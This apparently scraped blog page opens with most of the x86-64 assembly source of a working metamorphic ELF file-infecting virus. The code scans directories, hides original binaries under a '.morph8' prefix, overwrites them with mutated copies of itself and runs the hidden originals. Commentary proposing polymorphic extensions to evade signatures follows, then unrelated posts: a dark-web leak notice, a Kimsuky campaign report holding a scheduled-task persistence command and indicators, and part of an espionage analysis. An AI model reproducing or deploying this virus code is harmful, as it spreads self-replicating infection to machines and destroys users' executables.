    ; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x53
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC3
    mov byte [r8+8], 0x5B
    mov byte [r8+9], 0x58
    jmp .done

.variant_1:
    ; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
    mov byte [r8], 0x51
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xCA
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xCA
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x59
    jmp .done

.variant_2:
    ; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x51
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC1
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC1
    mov byte [r8+8], 0x59
    mov byte [r8+9], 0x58
    jmp .done

.variant_3:
    ; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
    mov byte [r8], 0x53
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xD3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xD3
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x5B

.done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    ret

; file I/O
read_f:
    push r12
    push r13
    push r14
    push r15

    mov r15, rsi            ; save buffer pointer

    mov rax, SYS_open
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall
    test rax, rax
    js .error

    mov r12, rax

    mov rax, SYS_fstat
    mov rdi, r12
    sub rsp, 144
    mov rsi, rsp
    syscall
    test rax, rax
    js .close_e

    mov r13, [rsp + 48]     ; file size from stat
    add rsp, 144

    ; bounds check
    cmp r13, 65536
    jle .size_ok
    mov r13, 65536
.size_ok:
    test r13, r13
    jz .empty

    xor r14, r14            ; bytes read cnt

.read_loop:
    mov rax, SYS_read
    mov rdi, r12
    mov rsi, r15
    add rsi, r14            ; offset into buffer
    mov rdx, r13
    sub rdx, r14            ; remaining bytes to read
    jz .read_done
    syscall

    test rax, rax
    jle .read_done          ; EOF or error
    add r14, rax
    cmp r14, r13
    jl .read_loop

.read_done:
    mov rax, SYS_close
    mov rdi, r12
    syscall

    mov rax, r14            ; return bytes read
    jmp .done

.empty:
    mov rax, SYS_close
    mov rdi, r12
    syscall
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret

.close_e:
    add rsp, 144
    mov rax, SYS_close
    mov rdi, r12
    syscall

.error:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    ret

write_f:
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r12, rdi            ; filename
    mov r13, rsi            ; buffer
    mov r14, rdx            ; size

    ; validate inputs
    test r12, r12
    jz .write_er
    test r13, r13
    jz .write_er
    test r14, r14
    jz .write_s

    mov rdi, r12
    mov rsi, O_WRONLY | O_CREAT | O_TRUNC
    mov rdx, 0755o
    call sys_open
    cmp rax, 0
    jl .write_er
    mov r12, rax            ; fd

    xor r15, r15            ; bytes written cnt

.write_lp:
    mov rdi, r12
    mov rsi, r13
    add rsi, r15            ; offset into buffer
    mov rdx, r14
    sub rdx, r15            ; remaining bytes
    jz .write_c
    call sys_write
    JUNK

    test rax, rax
    jle .r_close
    add r15, rax
    cmp r15, r14
    jl .write_lp

.write_c:
    mov rdi, r12
    call sys_close

.write_s:
    xor rax, rax            ; success
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

.r_close:
    mov rdi, r12
    call sys_close
.write_er:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

; instruction generator
trace_op:
    ; bounds check
    mov rax, [codelen]
    cmp rsi, rax
    jae .bounds_er

    mov r8, code
    add r8, rsi

    ; instruction size check
    mov rax, [codelen]
    sub rax, rsi
    cmp rax, 3
    jae .rex_xchg
    cmp rax, 2
    jae .write_prefix
    cmp rax, 1
    jae .write_nop

.bounds_er:
    xor eax, eax
    ret

.write_nop:
    mov byte [r8], NOP
    mov eax, 1
    ret

.write_prefix:
    ; validate register (0-3 only)
    cmp dil, 3
    ja .bounds_er

    call get_random
    and eax, 5
    movzx eax, byte [prefixes + rax]
    mov [r8], al

    call get_random
    and eax, 3              ; rax,rbx,rcx,rdx only
    shl eax, 3
    add eax, 0xC0
    add al, dil
    mov [r8 + 1], al

    mov eax, 2
    ret

.rex_xchg:
    ; generate REX.W XCHG
    cmp dil, 3
    ja .bounds_er

    ; get different register
    call get_random
    and eax, 3
    cmp al, dil
    je .rex_xchg            ; retry if same

    ; build REX.W XCHG r1, r2
    mov byte [r8], REX_W
    mov byte [r8 + 1], XCHG_OP

    ; ModR/M byte
    mov bl, XCHG_BASE
    mov cl, al
    shl cl, 3
    add bl, cl
    add bl, dil
    mov [r8 + 2], bl

    mov eax, 3
    ret

; instruction decoder
trace_jmp:
    push rbx
    push rcx

    cmp rsi, [codelen]
    jae .invalid

    mov r8, code
    mov al, [r8 + rsi]

    ; check for NOP
    cmp al, NOP
    je .ret_1

    ; check MOV+reg
    mov bl, MOV
    add bl, dil
    cmp al, bl
    je .ret_5

    ; check prefix instruction
    mov rbx, prefixes
.check_prefix:
    mov cl, [rbx]
    test cl, cl
    jz .invalid
    cmp cl, al
    je .check_second_byte
    inc rbx
    jmp .check_prefix

.check_second_byte:
    inc rsi
    cmp rsi, [codelen]
    jae .invalid

    mov al, [r8 + rsi]
    cmp al, 0xC0
    jb .invalid
    cmp al, 0xFF
    ja .invalid
    and al, 7
    cmp al, dil
    jne .invalid

.ret_2:
    mov eax, 2
    jmp .done
.ret_1:
    mov eax, 1
    jmp .done
.ret_5:
    mov eax, 5
    jmp .done
.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret

; junk mutation engine
replace_junk:
    push r12
    push r13
    push r14
    push r15

    mov r8, [codelen]
    test r8, r8
    jz .done

    cmp r8, JUNKLEN
    jle .done

    sub r8, JUNKLEN
    mov r9, code
    xor r12, r12

.scan_loop:
    cmp r12, r8
    jae .done

    mov rax, [codelen]
    cmp r12, rax
    jae .done

    ; scan for junk pattern
    movzx eax, byte [r9 + r12]
    cmp al, PUSH
    jb .next_i
    cmp al, PUSH + 3        ; rax,rbx,rcx,rdx only
    ja .next_i

    ; second byte must be PUSH
    movzx ebx, byte [r9 + r12 + 1]
    cmp bl, PUSH
    jb .next_i
    cmp bl, PUSH + 3
    ja .next_i

    ; check REX.W prefix
    cmp byte [r9 + r12 + 2], REX_W
    jne .next_i

    ; check XCHG opcode
    cmp byte [r9 + r12 + 3], XCHG_OP
    jne .next_i

    ; validate complete sequence
    call validate
    test eax, eax
    jz .next_i

    ; replace with new junk
    call insert

.next_i:
    inc r12
    jmp .scan_loop

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret

; validate junk pattern
validate:
    push rbx
    push rcx

    ; extract registers from PUSH
    movzx eax, byte [r9 + r12]
    sub al, PUSH
    mov bl, al              ; reg1

    movzx eax, byte [r9 + r12 + 1]
    sub al, PUSH
    mov cl, al              ; reg2

    ; registers must differ
    cmp bl, cl
    je .invalid

    ; check POP sequence (reversed)
    movzx eax, byte [r9 + r12 + 8]
    sub al, POP
    cmp al, cl
    jne .invalid

    movzx eax, byte [r9 + r12 + 9]
    sub al, POP
    cmp al, bl
    jne .invalid

    mov eax, 1              ; Valid sequence
    jmp .done

.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret

; insert new junk sequence
insert:
    push rdi

    mov rdi, r9
    add rdi, r12
    call spawn_junk

    pop rdi
    ret

;; shell command execution
exec_sh:
    sub rsp, 0x40
    mov qword [rsp], sh_arg0_ptr
    mov qword [rsp+8], rdi
    mov qword [rsp+16], 0

    mov rsi, rsp
    xor rdx, rdx

    mov rdi, shell_path
    mov rax, SYS_execve
    syscall
    mov rdi, 1
    call sys_exit

sh_arg0_ptr: dq sh_arg0
sh_arg1_ptr: dq sh_arg1

list:                           ; scan directory for infection targets
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r14, rsi

    mov rdi, current_dir
    mov rsi, O_RDONLY
    mov rdx, 0
    call sys_open
    cmp rax, 0
    jl .list_error
    mov r12, rax

.list_loop:
    mov rdi, r12
    mov rsi, dir_buf
    mov rdx, 4096
    call sys_getdents64
    cmp rax, 0
    je .list_done
    mov r13, rax

    xor r15, r15

.list_entry:
    cmp r15, r13
    jge .list_loop

    mov rdi, dir_buf
    add rdi, r15

    mov r8, rdi
    add r8, 16
    movzx rax, word [r8]    ; d_reclen at offset 16

    cmp rax, 19
    jl .skip_entry
    cmp rax, 4096
    jg .skip_entry

    push rax

    mov r8, rdi
    add r8, 18
    mov cl, [r8]

    cmp cl, 8
    jne .skip_entry

    add rdi, 19

    cmp byte [rdi], '.'
    jne .check_file
    mov r8, rdi
    inc r8
    cmp byte [r8], 0
    je .skip_entry
    mov r8, rdi
    inc r8
    cmp byte [r8], '.'
    je .skip_entry

.check_file:
    push rdi

    mov rdi, r14
    call basename

    mov rsi, rax
    mov rdi, [rsp]
    call strcmp

    pop rdi
    test rax, rax
    jz .chosen_one

    push rdi
    push rsi
    push rbx

    ; Check if filename starts with .morph8
    mov rsi, hidden_prefix
    mov rbx, rdi

.see_hidden:
    mov al, [rbx]
    mov dl, [rsi]
    test dl, dl
    jz .is_hidden       ; End of prefix - it's a hidden file
    cmp al, dl
    jne .not_hidden     ; Mismatch - not hidden
    inc rbx
    inc rsi
    jmp .see_hidden

.is_hidden:
    pop rbx
    pop rsi
    pop rdi
    jmp .skip_entry

.not_hidden:
    pop rbx
    pop rsi
    pop rdi

    mov rsi, vxx_str
    call strstr
    test rax, rax
    jnz .found_vxx

    push rdi
    mov rsi, X_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    push rdi
    mov rsi, W_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    jmp .e_conditions

.not_exec:
    jmp .skip_entry

.e_conditions:
    sub rsp, 256
    mov r8, rsp
    push rdi

    mov rdi, r8
    mov rsi, [rsp]
    call hidden_name

    mov rax, SYS_open
    mov rdi, r8
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    pop rdi
    test rax, rax
    js .not_exists

    ; Hidden file exists - been here, skip it
    push rdi
    mov rdi, rax
    call sys_close
    pop rdi
    add rsp, 256
    jmp .skip_entry

.not_exists:
    add rsp, 256

    ; Check if we're trying to infect ourselves
    push rdi                ; Save current filename

    ; Get our own basename
    mov rdi, bin_name
    call basename
    mov rsi, rax

    mov rdi, [rsp]
    call strcmp

    pop rdi

    test rax, rax
    jz .skip_self_infection ; If filenames match, skip infection

    ; Check if file is a valid ELF executable before infection
    push rdi
    call is_elf
    pop rdi
    test rax, rax
    jz .skip_non_elf        ; Not a valid ELF, skip infection

    push rdi
    call implant
    pop rdi
    jmp .skip_entry

.skip_self_infection:
    ; Don't infect ourselves, just skip
    jmp .skip_entry

.skip_non_elf:
    ; Not a valid ELF executable, skip infection
    jmp .skip_entry

.chosen_one:
    push rdi
    mov rsi, rdi
    mov rdi, orig_exec_name
    call strcpy
    pop rdi
    jmp .skip_entry

.found_vxx:
    mov byte [vierge], 0

.skip_entry:
    pop rax
    add r15, rax
    jmp .list_entry

.list_done:
    mov rdi, r12
    call sys_close

.list_error:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

implant:                        ; infect target executable
    push r12
    push r13
    mov r12, rdi

    ; Validate input
    test r12, r12
    jz .d_skip

    push r12
    mov rdi, r12
    call strlen
    pop r12
    mov r13, rax

    ; Check filename length bounds
    cmp r13, 200
    jg .d_skip
    test r13, r13
    jz .d_skip

    ; Check if we have code to embed
    mov rax, [codelen]
    test rax, rax
    jz .d_skip
    cmp rax, 65536
    jg .d_skip

    ; 1: Create hidden backup of original file
    sub rsp, 768
    mov rdi, rsp
    add rdi, 512             ; Use third section for hidden name
    mov rsi, r12
    call hidden_name

    ; Check if hidden backup already exists
    mov rax, SYS_open
    mov rdi, rsp
    add rdi, 512             ; hidden name
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    test rax, rax
    js .fallback             ; File doesn't exist, create backup

    mov rdi, rax
    call sys_close
    jmp .infect_orgi         ; Proceed to reinfect with new mutations

.fallback:
    mov rdi, rsp             ; Use first section for command
    mov rsi, cp_cmd_fmt
    mov rdx, r12             ; original filename
    mov rcx, rsp
    add rcx, 512             ; hidden name
    call sprintf_two_args
    mov rdi, rsp
    call system_call

    ; Set permissions on hidden file
    mov rdi, rsp
    add rdi, 256             ; Use second section for chmod command
    mov rsi, chmod_cmd_fmt
    mov rdx, rsp
    add rdx, 512             ; hidden name
    call sprintf
    mov rdi, rsp
    add rdi, 256
    call system_call

.infect_orgi:
    add rsp, 768

    ; 2: Replace original file with viral code
    mov rdi, r12             ; original filename
    mov rsi, code
    mov rdx, [codelen]
    call write_f

.d_skip:
    pop r13
    pop r12
    ret

;; payload execution
execute:                        ; virus payload
    JUNK

    mov rdi, msg_cat
    call strlen
    mov rdx, rax

    mov rdi, 1
    mov rsi, msg_cat
    call sys_write
    JUNK
    ret

hidden_name:                    ; create .morph8
    push rsi
    push rdi
    push rbx
    push rcx

    mov rbx, rsi
    mov rcx, hidden_prefix

.check_prefix:
    mov al, [rbx]
    mov dl, [rcx]
    test dl, dl
    jz .already_one          ; it matches
    cmp al, dl
    jne .add_prefix          ; Mismatch
    inc rbx
    inc rcx
    jmp .check_prefix

.already_one:
    ; File already has .morph8 prefix, just copy it
    jmp .cp_file

.add_prefix:
    ; Add .morph8 prefix
    mov byte [rdi], '.'
    mov byte [rdi + 1], 'm'
    mov byte [rdi + 2], 'o'
    mov byte [rdi + 3], 'r'
    mov byte [rdi + 4], 'p'
    mov byte [rdi + 5], 'h'
    mov byte [rdi + 6], '8'

    add rdi, 7

.cp_file:
    mov al, [rsi]
    test al, al
    jz .done
    mov [rdi], al
    inc rsi
    inc rdi
    jmp .cp_file

.done:
    mov byte [rdi], 0

    pop rcx
    pop rbx
    pop rdi
    pop rsi
    ret

sprintf:                        ; basic string formatting
    push r9
    push r10

    mov r8, rdi                 ; dst
    mov r9, rsi                 ; string
    mov r10, rdx                ; arg

.scan_format:
    mov al, [r9]
    test al, al
    jz .done

    cmp al, '%'
    je .found_percent

    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.found_percent:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_arg
    cmp al, '%'
    je .cp_percent

    ; Unknown format, copy literally
    mov byte [r8], '%'
    inc r8
    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .scan_format

.cp_arg:
    push r9
    mov r9, r10
.cp_loop:
    mov al, [r9]
    test al, al
    jz .cp_done
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_done:
    pop r9
    inc r9
    jmp .scan_format

.done:
    mov byte [r8], 0
    pop r10
    pop r9
    ret

sprintf_two_args:               ; string with two args
    push rbp
    mov rbp, rsp
    push r10
    push r11
    push r12

    mov r8, rdi                 ; dst buffer
    mov r9, rsi                 ; string
    mov r10, rdx                ; 1 arg
    mov r11, rcx                ; 2 arg
    xor r12, r12                ; arg cnt

.cp_loop:
    mov al, [r9]
    test al, al
    je .done
    cmp al, '%'
    je .handle_format
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.handle_format:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_string
    cmp al, '%'
    je .cp_percent

    mov byte [r8], '%'
    inc r8
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .cp_loop

.cp_string:
    cmp r12, 0
    je .use_arg1
    mov rdx, r11                ; second arg
    jmp .do_cp
.use_arg1:
    mov rdx, r10                ; first arg
.do_cp:
    inc r12

    push r9
    push rdx
    mov r9, rdx
.str_cp:
    mov al, [r9]
    test al, al
    je .str_done
    mov [r8], al
    inc r8
    inc r9
    jmp .str_cp

.str_done:
    pop rdx
    pop r9
    inc r9
    jmp .cp_loop

.done:
    mov byte [r8], 0
    pop r12
    pop r11
    pop r10
    pop rbp
    ret

system_call:                    ; execute shell
    push r12
    mov r12, rdi

    mov rax, SYS_fork
    syscall
    test rax, rax
    jz .child_process
    js .error

    mov rdi, rax
    xor rsi, rsi
    xor rdx, rdx
    xor r10, r10
    mov rax, SYS_wait4
    syscall

    pop r12
    ret

.child_process:
    sub rsp, 32
    mov qword [rsp], sh_arg0
    mov qword [rsp+8], sh_arg1
    mov qword [rsp+16], r12
    mov qword [rsp+24], 0

    mov rax, SYS_execve
    mov rdi, shell_path
    mov rsi, rsp
    xor rdx, rdx
    syscall

    mov rax, SYS_exit
    mov rdi, 1
    syscall

.error:
    pop r12
    ret

;;  entry point
_start:
    ; anti goes here
    ;avant:
    call d_str   ; Decrypt all

    mov rax, SYS_getrandom
    mov rdi, signme
    mov rsi, 4
    xor rdx, rdx
    syscall

    mov al, [vierge_val]
    mov [vierge], al

    pop rdi
    mov rsi, rsp
    push rsi

    mov rdi, bin_name
    mov rsi, [rsp]
    call strcpy

    mov rdi, [rsp]
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

    call execute

    pop rsi
    push rsi

    ; Read our own code
    mov rdi, [rsi]
    call read_code

    mov rax, [codelen]
    test rax, rax
    jz .skip_mutation

    ; Apply mutations
    call replace_junk

.skip_mutation:
    pop rsi
    push rsi
    mov rdi, current_dir
    mov rsi, [rsi]
    call list

    cmp byte [vierge], 1
    jne .exec_theone

    cmp byte [orig_exec_name], 0
    jne .orig_name_ok
    mov rdi, bin_name
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

.orig_name_ok:
    ; Build hidden name for the chosen one
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256
    mov rsi, orig_exec_name
    call hidden_name

    ; Create touch command
    mov rdi, rsp             ; Use first half for command
    mov rsi, touch_cmd_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call

    ; Create chmod command
    mov rdi, rsp             ; Reuse first half for command
    mov rsi, touch_chmod_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.exec_theone:
    mov rdi, bin_name
    mov rsi, hidden_prefix
    call strstr
    test rax, rax
    jnz .killme

    ; Build hidden name and execute it
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256             ; Use second half for hidden name
    mov rsi, orig_exec_name
    call hidden_name

    ; Create exec command
    mov rdi, rsp             ; Use first half for command
    mov rsi, exec_cmd_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.killme:
    ; Clean up any leftovers
    call zero0ut

    pop rsi
    xor rdi, rdi
    mov rax, SYS_exit
    syscall

zero0ut:
    mov rdi, code
    mov rcx, 65536
    xor al, al
    rep stosb

    mov rdi, dir_buf
    mov rcx, 4096
    xor al, al
    rep stosb

    mov rdi, temp_buf
    mov rcx, 1024
    xor al, al
    rep stosb

    ret

read_code:
    mov rsi, code
    call read_f
    test rax, rax
    js .error

    mov [codelen], rax
    ret

.error:
    mov qword [codelen], 0
    ret

extract_v:
    push r12
    push r13
    push r14

    mov rdi, bin_name
    mov rsi, code
    call read_f
    test rax, rax
    js .err_v

    cmp rax, 65536
    jle .size_ok
    mov rax, 65536

.size_ok:
    mov [codelen], rax
    jmp .ext_done

.err_v:
    mov qword [codelen], 0
    xor rax, rax

.ext_done:
    pop r14
    pop r13
    pop r12
    ret

This Is Only the Foundation

Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point — sufficient to prove the concept, but still far from full-spectrum capability.

Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.

Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.

vx-mutation-demo

Each generation becomes different at the byte level, yet does the same things. What changes is the implementation, not the behavior. This is exactly why it shatters static signatures.

As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.

Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.

— Possibilities —

If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.

Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.

Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.

I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.

That’s all for now — see you next time.

Disclaimer:

This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.

[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web

Excalibra — Thu, 09 Apr 2026 13:47:43 +0000

[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web

A threat actor has claimed to be selling a U.S. Department of Defense (DoD) CMMC cybersecurity briefing document. The document focuses on the core elements of the CMMC 2.0 framework, including its implementation processes, compliance requirements, and supporting systems. It serves as a standardized cybersecurity compliance guidance document targeted at Defense Industrial Base (DIB) contractors.

This file functions both as an “implementation guide” for CMMC 2.0 and as a “compliance checklist” for contractors. By clearly defining processes, standards, and boundaries of responsibility, it helps drive the Defense Industrial Base from “passive defense” toward “proactive risk management.”

Details of the leaked content are as follows:

Partial leaked data samples

1.1. Sample data

1.2. Sample data

1.3. Sample data

1.4. Sample data

North Korea-Linked Hackers Use GitHub as C2 Infrastructure to Attack South Korea

Excalibra — Wed, 08 Apr 2026 04:10:35 +0000

Executive Summary

FortiGuard Labs has identified a sophisticated multi-stage attack campaign attributed to the North Korea-linked threat actor Kimsuky. The group is abusing GitHub as a living-off-the-land Command and Control (C2) infrastructure to target South Korean organizations.

The attack chain starts with obfuscated Windows Shortcut (LNK) files delivered via phishing emails. These LNK files deploy decoy PDF documents while silently executing PowerShell scripts in the background. The scripts perform anti-analysis checks, establish persistence through scheduled tasks, and exfiltrate collected data to GitHub repositories using hardcoded access tokens. Additional modules and commands are also retrieved from the same GitHub repositories.

Decoy PDF

This campaign highlights the increasing trend of state-sponsored actors abusing legitimate cloud platforms and native Windows tools (LOLBins) to lower detection rates and maintain long-term access.

Attack Chain Breakdown

Initial Access Phishing emails deliver obfuscated LNK files. When opened, victims see a legitimate-looking PDF document while a malicious PowerShell script runs silently in the background.

LNK file with PowerShell script

LNK files with fixed metadata

LNK file with encoded data

Decoy PDF

Anti-Analysis & Evasion The PowerShell script scans for virtual machines, debuggers, and forensic tools. If any are detected, the script immediately terminates.

It searches for a broad range of analysis software, including “vmxnet,” “vmusrvc,” “vmsrvc,” “vmtoolsd,” “vmwaretray,” “vboxservice,” “vboxtray,” “idaq,” “idaq64,” “autoruns,” “dumpcap,” “de4dot,” “hookexplorer,” “ilspy,” “lordpe,” “dnspy,” “petools,” “autorunsc,” “resourcehacker,” “filemon,” “regmon,” “procexp,” “procexp64,” “tcpview,” “tcpview64,” “Procmon,” “Procmon64,” “vmmap,” “vmmap64,” “portmon,” “processlasso,” “Wireshark,” “Fiddler Everywhere,” “Fiddler,” “ida,” “ida64,” “ImmunityDebugger,” “WinDump,” “x64dbg,” “x32dbg,” “OllyDbg,” and “ProcessHacker.” If any of these processes are detected, the script immediately terminates to prevent analysis by security researchers.

Checks running process

Dropped VBS script

Persistence If the environment is clean, the script extracts a Visual Basic Script (VBScript) and creates a scheduled task that runs the PowerShell payload every 30 minutes in a hidden window. This ensures execution after system reboots.

$action = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument ('"' + $vbsFilePath + '"'); $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30); $settings = New-ScheduledTaskSettingsSet -Hidden; Register-ScheduledTask -TaskName "Technical Paper for Creata Chain Task S-1-12-12-3-1231241245BVSKLERh-SD234GHSI56" -Action $action -Trigger $trigger -Settings $settings

Data Collection & Exfiltration

Extracts system information and uploads to Github

The script gathers host information, saves results to a log file, and exfiltrates the data to GitHub repositories under attacker-controlled accounts, including:

motoralis
God0808RAMA
Pigresy80
entire73
pandora0009
brandonleeodd93-blip

Attacker’s GitHub

C2 via GitHub The same GitHub repositories are used to store additional modules and commands, allowing operators to maintain persistent control over compromised systems while blending into trusted platforms.

PowerShell script for C2 communication

PowerShell script from GitHub C2

Connection to Previous Campaigns

Fortinet notes that earlier iterations of this activity delivered the Xeno RAT malware family. Similar GitHub-based C2 usage for distributing Xeno RAT and its variant MoonPeak was previously reported by ENKI and Trellix, both attributing the activity to Kimsuky.

Attack chain

This disclosure coincides with AhnLab’s report on a similar LNK-based infection chain by Kimsuky that ultimately deploys a Python-based backdoor. In that variant, the LNK executes PowerShell which creates a hidden folder C:\windirr, drops decoy documents, and uses Dropbox as an interim C2 before downloading ZIP fragments from quickcon[.]store to deploy an XML Scheduled Task and the final Python implant.

The Python backdoor supports downloading additional payloads and executing commands such as running shell scripts, listing directories, uploading/downloading/deleting files, and executing BAT, VBScript, or EXE files.

Related TTP Evolution

These findings also align with observations from ScarCruft (another DPRK-linked group), which has shifted from traditional LNK → BAT → shellcode chains to HWP OLE-based droppers for delivering RokRAT — a remote access trojan exclusively used by North Korean hacking groups.

URLs

hxxps://raw[.]githubusercontent[.]com/motoralis/singled/main/kcca/paper[.]jim

hxxps://api[.]github[.]com/repos/motoralis

SHA256

af0309aa38d067373c54b2a7774a32f68ab72cb2dbf5aed74ac784b079830184 TRAMS WINBOT AI Strategic Proposal.pdf.lnk

9c3f2bd300ad2ef8584cc48adc47aab61bf85fc653d923e106c73fc6ec3ea1dc 전략적 파트너십 상세 제안서.pdf.lnk

f20fde3a9381c22034f7ecd4fef2396a85c05bfd54f7db3ad6bcd00c9e09d421 상세 제안서 — 미래에셋 X AYC Fund.pdf.lnk

484a16d779d67c7339125ceac10b9abf1aa47f561f40058789bfe2acda548282 CONFIDENTIAL IOTRUST OFFER.pdf.lnk

c0866bb72c7a12a0288f434e16ba14eeaa35d3c4cff4a86046c553c15679c0b5 (CONFIDENTIAL) AIN x Mine Korea 2026.pdf.lnk

Researcher Comments

Security researcher Cara Lin from Fortinet stated:

“Threat actors are moving away from complex custom malware and instead leveraging native Windows tools for deployment, evasion, and persistence. By minimizing the use of PE files and heavily relying on LOLBins, attackers can target a broad audience with significantly lower detection rates.”

Recommendations

Strengthen email security gateways with advanced LNK and PowerShell inspection
Monitor abnormal access to GitHub, Dropbox, and other cloud repositories from endpoints
Implement strict application whitelisting and behavioral monitoring for scheduled tasks
Enable enhanced logging for PowerShell execution (Script Block Logging, Module Logging)
Regularly hunt for suspicious GitHub accounts and repositories with high-frequency commits from compromised environments

This campaign once again demonstrates how nation-state actors continue to innovate by abusing trusted platforms and living-off-the-land techniques to evade traditional security controls.

Analysis based on reporting from FortiGuard Labs, AhnLab, and open-source intelligence as of April 2026.

Analysis of Russia’s Expulsion of British Diplomats: The Shifting Battlefield of the UK-Russia Intelligence War

Excalibra — Wed, 08 Apr 2026 03:46:01 +0000

Article Summary:

This in-depth analysis examines the recent Russian expulsions of British diplomats, exposing a core shift in the UK-Russia intelligence confrontation and its strategic implications. The piece focuses on three key figures — Michael Skinner, Tabassum Parveen Rashid, and Albertus Gerardus Janse van Rensburg — dissecting their roles within the British intelligence network. Skinner leveraged his spouse status for financial intelligence assessment, van Rensburg attempted to penetrate Russian economic expert circles, while Rashid served as the critical hub connecting the two. Behind the incidents lies Britain’s pivot toward targeting Russia’s economic resilience. Russia, through high-profile expulsions and the public release of evidence, aims to systematically cripple the UK’s intelligence network in Russia and sever its human intelligence (HUMINT) channels. In the future, the intelligence contest between the two sides is expected to drive even more covert technical surveillance and remote penetration methods.

Categories: Threat Intelligence, Social Engineering, Red Teaming, Malware, CTF

Russia’s Expulsion of British Diplomats: An In-Depth Analysis

Recently, the Russian Federal Security Service (FSB) has launched a series of high-profile and highly disruptive counterintelligence operations against the British Embassy in Moscow. The climax of these actions came in two major expulsion incidents spaced one year apart:

In March 2025, Michael Skinner — spouse of Tabassum Parveen Rashid, First Secretary in the Political Section of the British Embassy in Russia — along with Second Secretary Alkesh Odedra, were ordered to leave the country.

Then, at the end of March 2026, Albertus Gerardus Janse van Rensburg, the new Second Secretary who had only arrived in Moscow in September 2025, was also expelled.

Albertus Gerardus Janse van Rensburg: The “Economic Scout” with an Extremely Short Tenure

